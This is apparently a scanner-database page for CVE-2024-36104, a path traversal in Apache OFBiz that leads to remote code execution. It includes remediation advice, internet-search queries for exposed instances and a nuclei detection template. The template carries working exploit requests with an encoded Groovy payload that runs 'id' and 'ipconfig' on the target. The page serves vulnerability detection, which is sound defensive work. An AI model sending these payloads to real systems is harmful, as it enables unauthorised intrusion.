Apache OFBiz - Directory Traversal & Remote Code Execution

criticalseverity

9.1CVSS score

87.9%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.

Impact

An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.

Fix

Apply the latest security patches and updates from the vendor to address this vulnerability.

How to confirm it

Send: POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport
Positive when: matches /IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})/ AND contains "java.lang.Exception" AND status 200

Run it with nuclei: nuclei -id CVE-2024-36104 -u <target>

The full check

id: CVE-2024-36104

info:
  name: Apache OFBiz - Directory Traversal & Remote Code Execution
  author: Co5mos
  severity: critical
  description: |
    Improper Limitation of a Pathname to a Restricted Directory ('Path Traversal') vulnerability in Apache OFBiz. This issue affects Apache OFBiz: before 18.12.14. Users are recommended to upgrade to version 18.12.14, which fixes the issue.
  remediation: |
    Apply the latest security patches and updates from the vendor to address this vulnerability.
  impact: |
    An attacker can exploit this directory traversal vulnerability to execute arbitrary code remotely, potentially compromising the entire system and accessing sensitive data.
  reference:
    - http://www.openwall.com/lists/oss-security/2024/06/03/1
    - https://issues.apache.org/jira/browse/OFBIZ-13092
    - https://lists.apache.org/thread/sv0xr8b1j7mmh5p37yldy9vmnzbodz2o
    - https://ofbiz.apache.org/download.html
    - https://ofbiz.apache.org/security.html
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:N
    cvss-score: 9.1
    cve-id: CVE-2024-36104
    cwe-id: CWE-22
    epss-score: 0.87883
    epss-percentile: 0.99763
  metadata:
    verified: true
    max-request: 2
    vendor: apache
    product: ofbiz
    shodan-query:
      - http.title:"ofbiz"
      - http.html:"apache ofbiz"
      - http.html:"ofbiz"
      - ofbiz.visitor=
    fofa-query:
      - app="apache_ofbiz"
      - body="apache ofbiz"
      - title="ofbiz"
    google-query: intitle:"ofbiz"
  tags: cve,cve2024,apache,ofbiz,lfi,vkev,vuln

http:
  - raw:
      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0064\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

      - |
        POST /webtools/control/forgotPassword/%2e/%2e/ProgramExport HTTP/1.1
        Host: {{Hostname}}
        Content-Type: application/x-www-form-urlencoded

        groovyProgram=\u0074\u0068\u0072\u006f\u0077\u0020\u006e\u0065\u0077\u0020\u0045\u0078\u0063\u0065\u0070\u0074\u0069\u006f\u006e\u0028\u0027\u0069\u0070\u0063\u006f\u006e\u0066\u0069\u0067\u0027\u002e\u0065\u0078\u0065\u0063\u0075\u0074\u0065\u0028\u0029\u002e\u0074\u0065\u0078\u0074\u0029\u003b

    matchers-condition: and
    matchers:
      - type: regex
        part: body
        regex:
          - 'IPv4 Address[\s.]*:\s*(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})'
          - 'uid=\d+\(([^)]+)\) gid=\d+\(([^)]+)\)'
        condition: or

      - type: word
        part: body
        words:
          - 'java.lang.Exception'

      - type: status
        status:
          - 200

References

Use this check only on systems you are authorised to test. Where the data comes from